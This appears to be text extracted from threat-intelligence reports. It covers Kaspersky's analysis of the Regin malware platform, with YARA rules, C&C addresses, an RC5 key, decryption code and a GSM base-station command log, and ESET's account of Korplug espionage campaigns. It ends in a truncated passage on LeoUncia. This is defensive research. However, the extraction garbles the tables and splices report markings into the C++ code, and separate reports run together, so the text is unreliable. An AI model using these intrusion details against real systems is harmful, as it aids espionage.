dispatcher library is the user-mode core of the framework. It is loaded directly as the third stage of the 64-bit bootstrap process, or extracted and loaded from the VFS as module 50221 as the fourth stage on 32-bit systems. It implements a set of internal plugins: Plugin description Core framework functionality UCL library for compression and decompression using the nrv2 family of algorithms RC5 encryption and decryption facilities TLP: GREEN Contact: intelreports@kaspersky.com Plugin description API for manipulating the encrypted virtual file system (VFS) API for manipulating the encrypted virtual file system (VFS) File writer Autostart installation routines In-memory storage object Configuration storage object 50035 Winsock-based network transport Network transport using packet filters Network transport-related utilities The dispatcher takes care of the most complicated tasks of the Regin platform, such as providing an API to access virtual file systems, basic communications and storage functions, as well as network transport subroutines. In essence, the dispatcher is the brain that runs the entire platform. Stage 4 Virtual File Systems (32/64-bit) The most interesting code from the Regin platform is stored in encrypted file storages, known as Virtual File Systems (VFSes). During our analysis we were able to obtain 24 VFSes from multiple victims around the world. Generally, these have random names and can be located in several places in the infected system: Folder on disk File name Description C:\Windows\System32\config\ SystemAudit.Evt, SystemLog. Evt, SecurityLog.Evt, SecurityAudit.Evt, CACHE, SESSIONMGR Old / ancient style, still around C:\Windows\System32\ UsrClass.dat Old / ancient style, still around C:\WINDOWS\pchealth\helpctr\Database cdata.dat, Old / ancient style, still around cdata.edb C:\Windows\System32\config\ UsrEvent.evt, ApplicationLog.Evt Inside VFS, 6th stage C:\Windows\Panther\ setup.etl.000 Used in a 64-bit infection C:\Windows\System32\wbem\repository\ INDEX2.DATA, New style encryption, May 2014 OBJECTS2.DATA C:\Windows\System32\ dnscache.dat, mregnx.dat displn32.dat, dmdskwk.dat, nvwrsnu.dat, New style encryption, May 2014 tapiscfg.dat TLP: GREEN Contact: intelreports@kaspersky.com Each VFS has a structure that is very similar to a real disk file system such as FAT. The VFS files start with a header that provides basic information required to operate the file system. The header is followed by the bitmap of used/ free sectors and then by the file table. Offset Size Field description Sector size Maximum number of sectors Maximum number of files Unknown CRC32 of first seven bytes of the header with seed 0x45 Size of the file ID field, in bytes Number of files maxSectors/8 Sector usage bitmap File table Sectors Files are described by file table entries: Offset Size Field description CRC32 of file contents with seed 0x27 File size Offset of the first sector Size of the file ID field File ID / Plugin ID Each sector starts with a 32-bit integer that is the offset of the next sector of the file. Offset of the next sector (Sector size)*byte of file data An example: File record at offset 0x122, file ID 50221, offset of the first sector 0x7B13 Sector at 0x7B13, next sector at 0x7D13 Sector at 0x7D13, next sector at 0x7F13, Sector at 0x7F13, next sector at 0x8113, etc. TLP: GREEN Contact: intelreports@kaspersky.com Example of Regin VFS parsing Although the structures of the file system are unencrypted, the file entries are encrypted. The encryption algorithm used is RC5, and many records are also compressed using the nrv2e algorithm from the UCL library. UCL is an open source implementation of the proprietary NRV ( Not Really Vanished ) compression algorithm, and was originally used by the UPX tool. The reason why the attackers chose UCL is simple: it s small, compact and requires little to no additional memory for decompression. Each VFS we encountered was encrypted with a 16 bytes key, which can vary from victim to victim. Based on our experience, most files were however encrypted with the same key, {73 23 1F 43 93 E1 9F 2F 99 0C 17 81 5C FF B4 01} stored in the dispatcher module or VMEM.sys kernel core. VFS RC5 decryption key inside the dispatcher module (disp.dll) In all, we observed about a dozen different VFS keys. The following plugins were observed inside the VFSes we collected. These are all identified by a 16-bit number. The plugins are referenced by these numbers; they are like filenames on a normal file system and allow the dispatcher to easily load or reference them. The binary modules are referenced by these numbers as plugin identifiers and usually have similar internal DLL names; e.g., the plugin with ID 50121 will have the internal name 50121.dll in its export table. Compressed binary modules are accompanied by binary files with the same ID. These files contain the size of the decompressed module and are not included in the description. TLP: GREEN Contact: intelreports@kaspersky.com Known data blocks and their configuration IDs: 4 bytes, unknown Configuration data; timestamped binary data 4 bytes, unknown Transport list and configurations, including peer hostnames and addresses Location of an additional .evt file, usually ApplicationLog.evt Configuration data Configuration data Peer encryption keys Peer network configuration data Packet filter configuration 4 bytes, unknown 10001 Strings: legspinv2.6 WILLISCHECKv2.0 , additional configuration data 10207 Configuration data 10404 Configuration data 10405 Configuration data 10505 1 byte; unknown 50009 Configuration data 50013 List of processes ( snort.exe wireshark.exe rundll32.exe , etc.) 50049 Log of GSM base station commands. Very rare, most interesting 50079 Location of a temporary file 50121 Drive names 50139 Event log provider names 50181 Data used by network transport plugins 50185 Plugin configuration 50227 Plugin configuration 50233 Process file name list (Explorer.exe, VMWareService.exe, Update.exe, Msiexec.exe, MailService.exe, etc.) 56001 Plugin configuration 57003 Configuration data Known executable modules and their plugin IDs: Data only Core framework functionality 3.sys file timestamp manipulation; utilities TLP: GREEN Contact: intelreports@kaspersky.com Network transport-related utilities RC5 encryption and decryption facilities Network transport using packet filters ICMP network listener using raw sockets 10001 Command-line data collection and administration tools 10105 Utilities 10107 User logon and impersonation, user and domain name collection 10207 pp.dll Keylogger and clipboard sniffer 10211 Network share enumeration and manipulation 10309 Pipe/mailslot backend for plugin 10207 10405 Timestamp conversions 10507 Extraction from the protected storage and credential storages 11101 Detection of process hooks, directory enumeration 11701 Collects information about connected USB storage devices, creates storage files 20005 Driver installation/removal routines 20027 Collects information about sessions, installed browsers and proxy settings 20029 Remote registry manipulation routines 20073 Interception of system network drivers 50001 File system data collection and manipulation 50011 File data extraction 50013 Searches for potentially dangerous processes by module path/name (sniffers, debuggers, etc.) 50015 Retrieves current system time in Unix timestamp format 50017 Time-related utilities 50019 Sniffer using a packet filter 50025 System information, network share enumeration and scans 50029 Sniffer utilities 50033 Event log hooks 50035 Winsock-based network transport 50037 Network transport over HTTP 50047 Sniffer utilities 50049 HTTP/SMTP/SMB credentials sniffer 50051 Network transport over HTTPS 50053 Sniffer utilities TLP: GREEN Contact: intelreports@kaspersky.com 50061 Utilities 50063 BPF filter parser 50073 Network routing utilities 50079 Temporary file manipulation 50081 Network transport and configuration utilities 50097 DNS sniffer 50101 Extended system information; task scheduler data 50113 Utilities 50115 NDIS filter 50117 Network information: connections, adapters, DNS cache, statistics 50121 File system traversal 50123 HTTPS server, Microsoft-IIS/6.0 50139 Windows event log reader 50185 Dumping users password hashes (LM database) 50211 Driver hooking and hook detection 50215 BEEP driver, used by the 50211 plugin 50219 Injects plugins in processes 50221 disp.dll user-mode core of the framework 50223 Module notification routines 50225 API for code injection and kernel-mode hooking 50227 Code injection and hooking utilities 50231 Replication using network shares and local persistence, remote filename used: ADMIN$\ SYSTEM32\SVCSTAT.EXE 50233 Plugin injection utilities 50251 Keyboard driver hooking 50271 Network transport over SMB (named pipes) 55001 E-mail message extraction module U_STARBUCKS 55011 MS Exchange data extraction, appointment information 55007 POP3 proxy server, used in conjunction with plugin 55001 56001 Winsock networking routines The attackers can dynamically add and delete plugins inside the VFS and each victim installation has a different set of plugins depending on the type of activity the attackers need to execute. For example, only some of the VFSes we have seen had lateral movement modules, designed for infecting other computers in the network. TLP: GREEN Contact: intelreports@kaspersky.com Unusual modules and artifacts In this section we describe some of the most interesting findings about Regin. Artifacts With high-end APT groups such as the one behind Regin, mistakes are very rare. Nevertheless, they do happen. Some of the VFSes we analyzed contain words that appear to be the respective codenames of the modules deployed on the victim: legspinv2.6 and LEGSPINv2.6 WILLISCHECKv2.0 HOPSCOTCH Another module we found, which is a plugin type 55001.0, references U_STARBUCKS: Finally, the word shit appears in many places throughout the code and modules. TLP: GREEN Contact: intelreports@kaspersky.com TLP: GREEN Contact: intelreports@kaspersky.com GSM targeting The most interesting aspect we have found so far regarding Regin relates to an infection of a large GSM operator. One VFS encrypted entry we located had internal id 50049.2, and appears to be an activity log on a GSM Base Station Controller. From https://en.wikipedia.org/wiki/Base_station_subsystem According to the GSM documentation (http://www.telecomabc.com/b/bsc.html): The Base Station Controller (BSC) is in control of and supervises a number of Base Transceiver Stations (BTS). The BSC is responsible for the allocation of radio resources to a mobile call and for the handovers that are made between base stations under his control. Other handovers are under the control of the MSC. Here s a look at the decoded Regin GSM activity log: TLP: GREEN Contact: intelreports@kaspersky.com This log is about 70KB in size and contains hundreds of entries like the ones above. It also includes timestamps that indicate exactly when the command was executed. The entries in the log appear to contain Ericsson OSS MML (Man-Machine Language as defined by ITU-T) commands (see https://en.wikipedia.org/wiki/Operations_support_system). Here s a list of some commands issued on the Base Station Controller, together with some of their timestamps: 2008-04-25 11:12:14: rxmop:moty=rxotrx; 2008-04-25 11:58:16: rxmsp:moty=rxotrx; 2008-04-25 14:37:05: rlcrp:cell=all; 2008-04-26 04:48:54: rxble:mo=rxocf-170,subord; 2008-04-26 06:16:22: rxtcp:MOty=RXOtg,cell=kst022a; 2008-04-26 10:06:03: IOSTP; 2008-04-27 03:31:57: rlstc:cell=pty013c,state=active; 2008-04-27 06:07:43: allip:acl=a2; 2008-04-28 06:27:55: dtstp:DIP=264rbl2; 2008-05-02 01:46:02: rlstp:cell=all,state=halted; 2008-05-08 06:12:48: rlmfc:cell=NGR035W,mbcchno=83&512&93&90&514&522,listtype=active; 2008-05-08 07:33:12: rlnri:cell=NGR058y,cellr=ngr058x; 2008-05-12 17:28:29: rrtpp:trapool=all. Descriptions for the commands: rxmop - check software version type; rxmsp - list current call forwarding settings of the Mobile Station; rlcrp - list off call forwarding settings for the Base Station Controller; rxble - enable (unblock) call forwarding; rxtcp - show the Transceiver Group of particular cell; allip - show external alarm; dtstp - show Digital Path (DIP) settings (DIP is the name of the function used for supervision of the connected PCM (Pulse Code Modulation) lines); rlstc - activate cell(s) in the GSM network; TLP: GREEN Contact: intelreports@kaspersky.com rlstp - stop cell(s) in the GSM network; rlmfc - add frequencies to the active broadcast control channel allocation list; rlnri - add cell neighbor; rrtpp - show radio transmission transcoder pool details. The log seems to contain not only the executed commands but also usernames and passwords of some engineering accounts: sed[snip]:Alla[snip] hed[snip]:Bag[snip] oss:New[snip] administrator:Adm[snip] In total, the log indicates that commands were executed on 136 different cells. Some of the cell names include prn021a, gzn010a, wdk004, kbl027a, etc... . The command log we obtained covers a period of about one month, from April 25, 2008 through May 27, 2008. It is unknown why the commands stopped in May 2008 though; perhaps the infection was removed or the attackers achieved their objective and moved on. Another explanation is that the attackers improved or changed the malware to stop saving logs locally and that is why only some older logs were discovered. Communication and C&C The C&C mechanism implemented in Regin is extremely sophisticated and relies on communication drones deployed by the attackers throughout the victim networks. Most victims communicate with another machine in their own internal network through various protocols as specified in the config file. These include HTTP and Windows network pipes. The purpose of such a complex infrastructure is to achieve two goals: (i) to give attackers access deep into the network, potentially bypassing air gaps; and (ii) to restrict as much as possible the traffic to the C&C. Here s a look at the decoded configurations:: 17.3.40.101 transport 50037 0 0 y.y.y.5:80 ; transport 50051 217.y.y.yt:443 17.3.40.93 transport 50035 217.x.x.x:443 ; transport 50035 217.x.x.x:443 50.103.14.80 transport 27 203.199.89.80 ; transport 50035 194.z.z.z:8080 51.9.1.3 transport 50035 192.168.3.3:445 ; transport 50035 192.168.3.3:9322 18.159.0.1 transport 50271 DC ; transport 50271 DC In the above table we see configurations extracted from several victims that bridge together infected machines in what appears to be virtual networks: 17.3.40.x, 50.103.14.x, 51.9.1.x, 18.159.0.x. One of these routes reaches out to the external C&C server at 203.199.89.80. The numbers right after the transport indicate the plugin that handles the communication. These are in our case: 27 - ICMP network listener using raw sockets 50035 - Winsock-based network transport 50037 - Network transport over HTTP 50051 - Network transport over HTTPS 50271 - Network transport over SMB (named pipes) The machines located on the border of the network act as routers, effectively connecting victims from inside the network with C&Cs on the Internet. After decoding all the configurations we have collected, we were able to identify the following external C&Cs. TLP: GREEN Contact: intelreports@kaspersky.com C&C server IP Location Description 61.67.114.73 Taichung, Taiwan Chwbn 202.71.144.113 Chetput, India Chennai Network Operations (team-m.co) 203.199.89.80 Thane, India Internet Service Provider 194.183.237.145 Brussels, Belgium Perceval S.a. One particular case includes a country in the Middle East. It was rather astonishing, so we thought it should be mentioned. In this country all the victims we identified communicate with each other, forming a peer-to-peer network. The P2P network includes the president s office, a research center, an educational institution network and a bank. Spread across the country, these victims are all interconnected with each other. One of the victims contains a translation drone, which has the ability to forward packets outside the country, to the C&C in India. This represents a rather interesting command-and-control mechanism, which is guaranteed to raise little suspicion. For instance, if all commands to the president s office are sent through the bank s network, then all the malicious traffic visible to the president s office sysadmins will only be with the bank, in the same country. TLP: GREEN Contact: intelreports@kaspersky.com Victim statistics Over the past two years we have been collecting statistics on the attacks and victims of Regin. These were aided by the fact that even after the malware is uninstalled, certain artifacts are left behind, which can help identify an infected (but cleaned) system. For instance, we have seen several cases where the systems were cleaned but the msrdc64.dat infection marker was left behind. So far, victims of Regin have been identified in 14 countries: Afghanistan Indonesia Algeria Iran Belgium Kiribati Brazil Malaysia Fiji Pakistan Germany Russia India Syria In total, we counted 27 different victims, although it should be pointed out that the definition of a victim here refers to a full entity, including its entire network. The number of unique PCs infected with Regin is of course much, much higher. From the map above, Fiji and Kiribati are unusual, because we rarely see such advanced malware in such remote, tiny countries. In particular, the victim in Kiribati is most unusual. To put this into context, Kiribati is a small island in the Pacific with a population around 100,000. According to experts, Kiribati is probably going to become one of the first victims of global warming, as it will be under water by 2050. (http://www.businessinsider.com/pacific-island-nation-kiribati-sinking-2014-5?op=1) TLP: GREEN Contact: intelreports@kaspersky.com Attribution Considering the complexity and cost of Regin s development, it is likely that this operation is supported by a nation state. While attribution remains a very difficult problem when it comes to professional attackers such as the ones behind Regin, certain metadata extracted from the samples is still worth a look. We have collected timestamps from samples, which are normally put automatically by the development software: As this information could be easily altered by the developers, it is up to the reader to attempt to interpret this: as an intentional false flag, or a non-critical indicator left by the developers. More information about Regin is available to Kaspersky Intelligent Services clients. Contact: intelreports@kaspersky.com Conclusions For more than a decade, a sophisticated group known as Regin has targeted high-profile entities around the world with an advanced malware platform. As far as we can tell, the operation is still active, although the malware may have been upgraded to more sophisticated versions. The most recent sample we have seen was from a 64-bit infection. This infection was still active in the spring of 2014. The name Regin is apparently a switched around In Reg , short for In Registry , as the malware can store its modules in the registry. This name and the detections first appeared in anti-malware products around March 2011. In some ways the platform reminds us of another sophisticated malware: Turla (http://securelist.com/analysis/ publications/65545/the-epic-turla-operation/). Some similarities include the use of virtual file systems and the deployment of communication drones to bridge networks together. Yet through their implementation, coding methods, plugins, hiding techniques and flexibility, Regin surpasses Turla as one of the most sophisticated attack platforms we have ever analyzed. The ability of this group to penetrate and monitor GSM networks is perhaps the most unusual and interesting aspect of these operations. In today s world, we have become too dependent on cellphone networks that rely on ancient communication protocols with little or no security available for the end user. Although all GSM networks have mechanisms embedded that allow entities such as law enforcement to track suspects, there are other parties which can gain this ability and then abuse it to launch other types of attacks against mobile users. Kaspersky Lab products detect modules from the Regin platform as: Trojan.Win32.Regin.gen and Rootkit.Win32.Regin. If you detect a Regin infection in your network, contact us at: intelservices@kaspersky.com TLP: GREEN Contact: intelreports@kaspersky.com Technical appendix and indicators of compromise: Yara rules: rule apt_regin_vfs { meta: copyright = Kaspersky Lab description = Rule to detect Regin VFSes version = last_modified = 2014-11-24 strings: $a1={00 02 00 08 00 08 03 F6 D7 F3 52} $a2={00 10 F0 FF F0 FF 11 C7 7F E8 52} $a3={00 04 00 10 00 10 03 C2 D3 1C 93} $a4={00 04 00 10 C8 00 04 C8 93 06 D8} condition: ($a1 at 0) or ($a2 at 0) or ($a3 at 0) or ($a4 at 0) rule apt_regin_dispatcher_disp_dll { meta: copyright = Kaspersky Lab description = Rule to detect Regin disp.dll dispatcher version = last_modified = 2014-11-24 strings: $mz= $string1= shit $string2= disp.dll $string3= 255.255.255.255 $string4= StackWalk64 $string5= imagehlp.dll condition: ($mz at 0) and (all of ($string*)) rule apt_regin_2013_64bit_stage1 { meta: copyright = Kaspersky Lab description = Rule to detect Regin 64 bit stage 1 loaders version = last_modified = 2014-11-24 filename= wshnetc.dll md5= bddf5afbea2d0eed77f2ad4e9a4f044d filename= wsharp.dll md5= c053a0a3f1edcbbfc9b51bc640e808ce strings: $mz= $a1= PRIVHEAD $a2= \\\\.\\PhysicalDrive%d $a3= ZwDeviceIoControlFile condition: ($mz at 0) and (all of ($a*)) and filesize < 100000 TLP: GREEN Contact: intelreports@kaspersky.com rule apt_regin_2011_32bit_stage1 { meta: copyright = Kaspersky Lab description = Rule to detect Regin 32 bit stage 1 loaders version = last_modified = 2014-11-24 strings: $key1={331015EA261D38A7} $key2={9145A98BA37617DE} $key3={EF745F23AA67243D} $mz= condition: ($mz at 0) and any of ($key*) and filesize < 300000 rule apt_regin_rc5key { meta: copyright = Kaspersky Lab description = Rule to detect Regin RC5 decryption keys version = last_modified = 2014-11-24 strings: $key1={73 23 1F 43 93 E1 9F 2F 99 0C 17 81 5C FF B4 01} $key2={10 19 53 2A 11 ED A3 74 3F C3 72 3F 9D 94 3D 78} condition: any of ($key*) MD5s: Stage 1 files, 32 bit: 06665b96e293b23acc80451abb413e50 187044596bc1328efa0ed636d8aa4a5c 1c024e599ac055312a4ab75b3950040a 2c8b9d2885543d7ade3cae98225e263b 4b6b86c7fec1c574706cecedf44abded 6662c390b2bbbd291ec7987388fc75d7 b269894f434657db2b15949641a67532 b29ca4f22ae7b7b25f79c1d4a421139d b505d65721bb2453d5039a389113b566 26297dc3cd0b688de3b846983c5385e5 ba7bb65634ce1e30c1e5415be3d1db1d bfbe8c3ee78750c3a520480700e440f8 d240f06e98c8d3e647cbf4d442d79475 ffb0b9b5b610191051a7bdf0806e1e47 Unusual stage 1 files apparently compiled from various public source codes merged with malicious code: 01c2f321b6bfdb9473c079b0797567ba 47d0e8f9d7a6429920329207a32ecc2e 744c07e886497f7b68f6f7fe57b7ab54 db405ad775ac887a337b02ea8b07fddc TLP: GREEN Contact: intelreports@kaspersky.com Stage 1, 64-bit system infection: bddf5afbea2d0eed77f2ad4e9a4f044d c053a0a3f1edcbbfc9b51bc640e808ce e63422e458afdfe111bd0b87c1e9772c Stage 2, 32 bit: 18d4898d82fcb290dfed2a9f70d66833 b9e4f9d32ce59e7c4daf6b237c330e25 Stage 2, 64 bit: d446b1ed24dad48311f287f3c65aeb80 Stage 3, 32 bit: 8486ec3112e322f9f468bdea3005d7b5 da03648948475b2d0e3e2345d7a9bbbb Stage 4 32 bit: 1e4076caa08e41a5befc52efd74819ea 68297fde98e9c0c29cecc0ebf38bde95 6cf5dc32e1f6959e7354e85101ec219a 885dcd517faf9fac655b8da66315462d a1d727340158ec0af81a845abd3963c1 Stage 4 64 bit: de3547375fbf5f4cb4b14d53f413c503 Note: Stages 2,3 and 4 do not appear on infected systems as real files on disk. Hashes are provided for research purposes only. Registry branches used to store malware stages 2 and 3: \REGISTRY\Machine\System\CurrentControlSet\Control\RestoreList \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{39399744-44FC-AD65-474B-E4DDF8C7FB97} \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{3F90B1B4-58E2-251E-6FFE4D38C5631A04} \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{4F20E605-9452-4787-B793D0204917CA58} \REGISTRY\Machine\System\CurrentControlSet\Control\Class\{9B9A8ADB-8864-4BC4-8AD5B17DFDBB9F58} C&C IPs: 61.67.114.73 Taiwan, Province Of China Taichung Chwbn 202.71.144.113 India Chetput Chennai Network Operations (team-m.co) 203.199.89.80 India Thane Internet Service Provider 194.183.237.145 Belgium Brussels Perceval S.a. TLP: GREEN Contact: intelreports@kaspersky.com VFS RC5 decryption algorithm This algorithm is used throughout the code and is referenced as RC5 in the document, although the implementation and the way the cipher is invoked is specific to Regin. The implementation in C++ follows: void TLP: GREEN RC5Decrypt(uint8_t* rc5Key, uint8_t* data, size_t len) uint8_t rc5_ctx_t uint8_t* size_t iv[8]; ctx; encrypted; encryptedLen; rc5_init(rc5Key, 128, 20, &ctx); memcpy(iv, data, 8); encrypted = data + 8; encryptedLen = len - 8; if ( encryptedLen % 8 ) uint8_t ivLocal[8]; if ( encryptedLen < 8) memcpy(ivLocal, iv, 8); else memcpy(ivLocal, encrypted + encryptedLen - (encryptedLen % 8) - 8, 8); rc5_enc(ivLocal, &ctx); for (size_t idx = 0; idx < (encryptedLen % 8); idx++) encrypted[idx + encryptedLen - (encryptedLen % 8)] ^= ivLocal[idx]; if ( encryptedLen / 8 > 1 ) for (ssize_t blockIdx = (encryptedLen / 8) - 1; blockIdx > 0; blockIdx--) rc5_dec(encrypted + blockIdx*8, &ctx); for (size_t idx = 0; idx < 8; idx++) encrypted[blockIdx*8 + idx] ^= encrypted[(blockIdx-1)*8 + idx]; if ( encryptedLen / 8 > 0 ) rc5_dec(encrypted, &ctx); for (size_t idx = 0; idx < 8; idx++) encrypted[idx] ^= iv[idx]; Contact: intelreports@kaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: +7-495-797-8700 Fax: +7-495-797-8709 E-mail: info@kaspersky.com Website: www.kaspersky.com Korplug military targeted attacks: Afghanistan & Tajikistan After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns employing this well-known Remote Access Trojan. This blog gives an overview of the first one, related to Afghanistan & Tajikistan. The other campaign, where the targets were a number of high-profile organizations in Russia, will be the subject of Anton Cherepanov s presentation at the ZeroNights security conference in Moscow this week. Sometimes malware used in various attacks is unique enough to identify related incidents, which makes tracking individual botnets simpler. An example is the BlackEnergy Lite variant (also known as BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) against targets in Ukraine and other countries. BlackEnergy Lite is clearly distinguishable from the numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild. In other cases, attackers use more common tools for accomplishing their criminal goals. For example, the Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a large number of targeted attacks since 2012. For the past several weeks we have taken a closer look at a great number of detections of this malware in many unrelated incidents. Among these, we were able to discover several successful infections where the employed Korplug samples were connecting to the same C&C domain. DOMAIN: www.notebookhk.net Updated Date: 2013-11-12 18:03:45 Create Date: 2013-06-18 11:08:17 Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : +0.04375094543 Registrant Fax: +0.04375094543 Registrant Email:stanlee@gmail.com Other Korplug samples were connecting to a different domain name resolving to the same IPs as notebookhk.net: DOMAIN: www.dicemention.com Updated Date: 2013-11-12 18:05:33 Create Date: 2013-09-10 14:35:11 Registrant Name: z x Registrant Organization: z x Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 123456 Registrant Country: HK Registrant Phone : +0.0126324313 Registrant Fax: +0.0126324313 Registrant Email: 123@123.com DOMAIN: www.abudlrasul.com Updated Date: 2014-10-16 14:16:27 Create Date: 2014-10-16 14:16:27 Registrant Name: gang xin Registrant Organization: gang xin Registrant Street: Argentina Argentina Registrant City: Argentina Registrant State: Argentina Registrant Postal Code: 647902 Registrant Country: AR Registrant Phone : +54.0899567089 Registrant Fax: +54.0899567089 Registrant Email: woffg89@yahoo.com Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various exploit-laden spear-phishing documents and cunningly-named archives. A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is shown below: File name English translation SHA1 Situation Report about Afghan.doc 36119221826D0290BC23371B55A8C0E6A84718DD AGREEMENT BETWEENTHE NATO AND AFGHANISTAN ON THE STATUS OF NATO FORCES IN AFGHANISTAN.doc A6642BC9F3425F0AB93D462002456BE231BB5646 news.doc 51CDC273B5638E06906BCB700335E288807744B5 2014 .scr Activity plan for military units in the Volga region in July 2014 EA6EE9EAB546FB9F93B75DCB650AF22A95486391 .scr Telephone directory of the Ministry of Foreign Affairs of the Kyrgyz Republic D297DC7D29E42E8D37C951B0B11629051EEBE9C0 .scr About the Center for social adaptation of servicemen 8E5E19EBE719EBF7F8BE4290931FFA173E658CB8 .scr Meeting minutes of the General Staff of the PRC 1F726E94B90034E7ABD148FE31EBA08774D1506F .scr Corrected action plan template A9C627AA09B8CC50A83FF2728A3978492AEB79D8 Situation Report about Afghan.scr A9C627AA09B8CC50A83FF2728A3978492AEB79D8 Military and political situation in Islamic Republic of E32081C56F39EA14DFD1E449C28219D264D80B2F 04.10.2014.scr Afghanistan (IRA) on 04.10.2014 Afghan Air Force.scr .scr E32081C56F39EA14DFD1E449C28219D264D80B2F Action plan 1F726E94B90034E7ABD148FE31EBA08774D1506F Some of the above-mentioned files also contained decoy documents: In all of the cases, three binary files were dropped (apart from decoy documents) that led to the Korplug trojan being loading into memory. exe a legitimate executable with a Kaspersky digital signature that would load a DLL with a specific file name dll a small DLL loader that would pass execution to the Korplug raw binary code dll.avp raw Korplug binary The Korplug RAT is known to use this side-loading trick by abusing legitimate digitally signed executables and is a way to stay under the radar, since a trusted application with a valid signature among startup items is less likely to raise suspicion. The maliciously crafted documents are RTF files that successfully exploit the CVE-2012-0158 vulnerability in Microsoft Word. The image below shows the beginning of the CVE-2012-0158 shellcode in ASCII encoding within the document (the opcodes 60, 55, 8bec disassemble to pusha; push ebp; mov ebp, esp). Interestingly, though, the documents also contain the newer CVE-2014-1761 exploit that was extensively used in targeted attacks carried out by a number other malware families this year (including BlackEnergy, Sednit, MiniDuke, and others). However, this exploit is not implemented correctly due to a wrong file offset in the 1st stage shellcode. Below we see the disassembly of the 1st stage shellcode where it checks the presence of the tag p!11 marking the beginning of the 2nd stage shellcode and loads it into memory. Even though the tag and 2nd stage shellcode is present in the RTF, it s at a different offset, and thus never is loaded. Sophos Gabor Szappanos gives a possible explanation how these malformed samples may have come into existence. ESET LiveGrid telemetry indicates that the attacks against these targets have been going on since at least June 2014 and continue through today. We were able to pinpoint the targets to residents of the following countries: Afghanistan Tajikistan Russia Kyrgyzstan Kazakhstan From the topics of the files used to spread the malware, as well as from the affected targets, it appears that the attackers are interested in gathering intelligence related to Afghan, Tajik and Russian military and diplomatic subjects. Interestingly, most of the affected victims have another thing in common a number of other RATs, file stealing trojans or keyloggers were detected on their systems on top of the Korplug RAT detection. One of these alternative RATs was connecting to a domain also used by the Korplug samples. Since the functionality of these tools was partly overlapping with that of Korplug, it left us wondering whether the attackers were just experimenting with different RATs or were they supplementing some functionality that they were unable to accomplish. Additional information about two malware families that were most often found accompanying Korplug infections is given below. Alternative Malware #1: DarkStRat A curious Remote Access Trojan, as research points to a Chinese connection but the commands it listens to are in Spanish (translation in English): CERRAR (close) DESINSTALAR (uninstall) SERVIDOR (server) INFO MAININFO PING REBOOT POWEROFF PROC KILLPROC VERUNIDADES (see units) LISTARARCHIVOS (list files) EXEC DELFILE DELFOLDER RENAME MKDIR CAMBIOID (change ID) GETFILE/SENDFILE/RESUMETRANSFER SHELL SERVICIOSLISTAR (list service) INICIARSERVICIO (start service) DETENERSERVICIO (stop service) BORRARSERVICIO (erase service) INSTALARSERVICIO (install service) The malware can manage processes and services on the infected machine, transfer files to and from the C&C server, run shell commands, and so on. It is written in Delphi and connects to www.dicemention.com. Some samples contain a digital signature by Nanning weiwu Technology co.,ltd Alternative Malware #2: File Stealer This malware, written in C, and contains several functions for harvesting files off the victim s hard drive according to criteria set in the configuration file. Apart from doing a recursive sweep of all logical fixed and remote drives, it also continually monitors any attached removable media or network shares by listening to DBT_DEVICEARRIVAL events. In addition to collecting files, the malware attempts to gather saved passwords, history of visited URLs, account information and proxy information from the following applications: Microsoft Messenger Microsoft Outlook Microsoft Internet Explorer Mozilla Firefox The C&C domains used by this malware are: newvinta.com worksware.net Some samples of this file stealer detected in these campaigns also contain the signature by Nanning weiwu Technology co.,ltd another indicator that the infections are related. List of SHA1 hashes: Korplug: 5DFA79EB89B3A8DDBC55252BD330D04D285F9189 095550E3F0E5D24A59ADD9390E6E17120039355E 5D760403108BDCDCE5C22403387E89EDC2694860 05BFE122F207DF7806EB5E4CE69D3AEC26D74190 548577598A670FFD7770F01B8C8EEFF853C222C7 530D26A9BEEDCCED0C36C54C1BF3CDA28D2B6E62 F6CB6DB20AA8F17769095042790AEB60EECD58B0 EF17B7EC3111949CBDBDEB5E0E15BD2C6E90358F 17CA3BBDDEF164E6493F32C952002E34C55A74F2 973EA910EA3734E45FDE304F20AB6CF067456551 47D78FBFB2EFC3AB9DDC653A0F03D560D972BF67 0B5A7E49987EF2C320864CF205B7048F7032300D E81E0F416752B336396294D24E639AE86D9C6BAA E930D3A2E6B2FFDC7052D7E18F51BD5A765BDB90 Alternative Malware #1: FDD41EB3CBB631F38AC415347E25926E3E3F09B6 457F4FFA2FE1CACFEA53F8F5FF72C3FA61939CCD 5B6D654EB16FC84A212ACF7D5A05A8E8A642CE20 7D59B19BD56E1D2C742C39A2ABA9AC34F6BC58D4 D7D130B8CC9BEA51143F28820F08068521763494 01B4B92D5839ECF3130F5C69652295FE4F2DA0C5 02C38EC1C67098E1F6854D1125D3AED6268540DE Alternative Malware #2: 3A7FB6E819EEC52111693219E604239BD25629E9 BF77D0BA7F3E60B45BD0801979B12BEA703B227B 55EF67AFA2EC2F260B046A901868C48A76BC7B72 A29F64CD7B78E51D0C9FDFBDCBC57CED43A157B2 34754E8B410C9480E1ADFB31A4AA72419056B622 17A2F18C9CCAAA714FD31BE2DE0BC62B2C310D8F 6D99ACEA8323B8797560F7284607DB08ECA616D8 1884A05409C7EF877E0E1AAAEC6BB9D59E065D7C 1FC6FB0D35DCD0517C82ADAEF1A85FFE2AFAB4EE 5860C99E5065A414C91F51B9E8B779D10F40ADC4 7950D5B57FA651CA6FA9180E39B6E8CC1E65B746 Research by: Anton Cherepanov Author Robert Lipovsky, ESET LeoUncia and OrcaRat The PWC-named malware OrcaRat is presented as a new piece of malware but looking at the URI used for C&C communication, it could be an updated version of a wellknown and kind of old piece of malware: LeoUncia. Status Let's face it: px~NFEHrGXF9QA=2/5mGabiSKSCIqbiJwAKjf+Z81pOurL1xeCaw=1/xXiPyUqR/hBL9DW2nbQQEDwNXIYD3l5EkpfyrdVpVC8kp/4WeCaArZAnd+QEYVSY9QMw=2 URI taken from an 